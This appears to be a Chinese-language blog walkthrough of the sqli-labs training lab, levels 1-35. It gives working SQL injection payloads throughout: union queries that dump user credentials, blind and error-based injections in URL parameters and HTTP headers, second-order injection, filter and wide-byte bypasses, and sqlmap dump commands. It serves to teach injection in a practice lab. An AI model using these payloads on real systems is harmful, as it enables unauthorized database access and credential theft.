sqli-lab关卡记录

sqli-lab通常都是1-2关为相同的知识点,然后细节处不同。到这里1-35关基本都阐述完毕。接下来的关卡后续会补上。

Less-1

在这里插入图片描述通过‘‘1’’LIMIT 0,1’ 立即推理,‘1’‘LIMIT 0,1 分析格式为select from…where id=’?’ 加注释–+,验证成功
在这里插入图片描述
判断字段数为3
在这里插入图片描述直接爆库

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

`
在这里插入图片描述

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述


```sql
0' union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述

Less2~4

爆库不说了,直接分析注入点
Less2
在这里插入图片描述'‘LIMIT 0,1’ 去掉闭合 'LIMIT 0,1 分析格式为select from…where id=?

Less3

在这里插入图片描述‘‘1’’)LIMIT 0,1’ 去掉闭合 ‘1’’)LIMIT 0,1 分析格式为select from…where id=(’?’)

验证成功
在这里插入图片描述
Less4
输入单引号无报错,输入/报错
在这里插入图片描述
与Less3的区别只是单引号与双引号的区别,不再赘述。

Less5、6

在这里插入图片描述立即推布尔型或时间型或报错型
时间型:正确会延迟

id=1' and if(length(database())=8,sleep(5),1)--+

明显延迟
在这里插入图片描述验证成功,这种手工极麻烦,直接上sqlmap比较明智
Less6把Less5的单引号改成双引号即可

Less8

换一下布尔型(本题时间型一样可做):正确会回显,错误无回显
在这里插入图片描述判断库名长度

?id=1' and length(database())=8--+

在这里插入图片描述判断库名

?id=1' and left((select database()),1)='s'--+

在这里插入图片描述
最后得到库名?id=1’ and left((select database()),8)=‘security’–+
。。。还是直接sqlmap吧,流水线操作。

Less9-10

看了下题目,还是时间型。。和第5题一样
直接sqlmap

Less 11-12

POST
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。这里借助Burpsuite完成修改任务。

注:这里网址要从127.0.0.1改为你本机IP地址,不然Burpsuite可能截取不到数据包。
在这里插入图片描述截取http数据包
在这里插入图片描述加’查看注入点变化
在这里插入图片描述 可以看出 ‘‘123456’’ LIMIT 0,1’
接下来直接加上 ‘‘123456’’ or 1 = 1 --+ LIMIT 0,1’
成功获得用户名与密码
在这里插入图片描述
接下来直接走sqlmap,复制Burpsuite截断的HTTP请求数据包到文本文件中。
在这里插入图片描述python sqlmap.py -r less11.txt -p passwd --technique E
-r 文件路径 -p 指定探测参数
在这里插入图片描述python sqlmap.py -r less11.txt -p passwd --technique E --current-db
查看当前使用的数据库,得知为security
在这里插入图片描述python sqlmap.py -r less11.txt -p passwd --technique E -D security --tables
在这里插入图片描述python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users --columns
在这里插入图片描述python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users -C "username,password" --dump
在这里插入图片描述
Less12把Less11的单引号改成双引号即可,这里不再赘述。

Less13-17

方法同上,前面几关的整合,直接burpsuite + sqlmap爆破

Less18-20

HTTP头中的SQL注入。
现在很多网站都在防止SQL注入,用户提交的参数都会被过滤。
但是对于HTTP头中,提交的内容很有可能就没有进行过滤。
例如HTTP头中 User-Agent、Referer、Cookies等。

首先进行User-Agent注入。

在这里插入图片描述burpsuite抓包,并对User-Agent加入’进行测试

在这里插入图片描述在这里插入图片描述
开始爆破
插入语句

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

在这里插入图片描述接下来的步骤和之前的报错型注入一摸一样。

接下来进行Less-19的Referer注入。
在这里插入图片描述'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

在这里插入图片描述
用sqlmap
复制Burpsuite截断的HTTP请求数据包到文本文件中,把referer参数修改为*
在这里插入图片描述python sqlmap.py -r less19.txt
在这里插入图片描述接下来进行Less-20的cookie注入
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
在这里插入图片描述走sqlmap也与上述一样
在cookie处加上*
在这里插入图片描述python sqlmap.py -r less20.txt --level 3 --batch
在这里插入图片描述

Less21-22

Less21与22只是单引号与双引号的区别
这里以Less22为例
这里网站对cookie字符串进行了base64加密
在这里插入图片描述
在这里插入图片描述输入反斜杠探测
在这里插入图片描述在这里插入图片描述
直接走sqlmap

在这里插入图片描述python sqlmap.py -r less22.txt --level 3 --batch --tamper base64encode.py
在这里插入图片描述

Less24

二次注入
分析网站源代码,可知没有对username进行# 的过滤
在这里插入图片描述
在这里插入图片描述注册一个admin’#账号
在这里插入图片描述登录admin’#,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd=“pass” where username =’ admin’ # ’ and password=’
也就是执行了UPDATE users SET passwd=“Pass” where username =’ admin’
在这里插入图片描述
用修改的密码123456,成功登录admin
在这里插入图片描述

Less25-26

Less25讲的是绕过过滤and和or的SQL注入
主要有两种方法
1、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
2、利用符号替代————and --&& or–||
也可以直接走sqlmap,这里不再赘述。

Less26讲的是绕过过滤空格的SQL注入
方法:主要通过HEX编码来绕过。
编码:hex,urlencode 换行URL编码 %0a %09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)
在这里插入图片描述
也可以直接走sqlmap。
在这里插入图片描述

Less29-31

在这里插入图片描述继续尝试

在这里插入图片描述???
这就是The Site Protected by World’s Best Firewall?
Less 30 31基本一致,也就双引号和括号的区别,不再赘述。

Less32-33

宽字节SQL注入
GBK 占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I\'m hacker
本意想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:

%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,**MYSQL使用的编码也是GBK的话,就会认为%DF’ 即“%DF%5C%27”是一个宽字符。也就是“縗’”

在这里插入图片描述

/?id=1%df' --+

在这里插入图片描述/?id=-1%df' union select 1,2,3 --+
在这里插入图片描述走sqlmap

sqlmap -u “URL?id=1%df%27--search --level 3 --risk 1 --thread 10 

在这里插入图片描述

Less34

POST型,用burpsuite抓包
而且通过代码也知道这一关也使用了addslashes()函数,所以依旧使用宽字节注入测试。
判断字段数为2
在这里插入图片描述admin%df' union select version(),database()--
在这里插入图片描述

Less35

在这里插入图片描述???没有引号
直接注入
在这里插入图片描述

小结:

get方式会通过url传送表单数据,这是一种显式的数据传输。
而对于post而言,表单数据会通过http协议的header来传送表单数据,
而且支持的数据传输长度也要多,直观的感受就是浏览的url不会变化。
从安全性上来说,post方式也要好很多。

SQL注入原理:
解释型语言的特性,在运行时由一个组件解释代码并执行,给了程序与用户交互的机会,
用户可以构造恶意代码来拼接到程序中执行。

手工注入:
1.显错注入
-普通显错注入
-各种过滤
-过滤union、select、and、or。(双写绕过,符号替代等)
-过滤空格。(HEX编码等)
-宽字节注入(addslashes()会在单引号前加一个\ 以此阻止sql注入语句闭合,可以使用宽字节绕过)
2.盲注:布尔型、时间型、报错型
3.POST型配合Burpsuite改包。
4.HTTP头中的SQL注入( User-Agent、Referer、Cookies等),可能存在加密。

自动化工具:
-sqlmap、Burpsuite
-web漏扫:OWASP-ZAP
-代码审计:Seay

记录本文一来作为自己学习sql注入的输出,二来作为笔记,三来也希望能给玩sqli-lab的同学一个小小参考,能给到或多或少的帮助。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值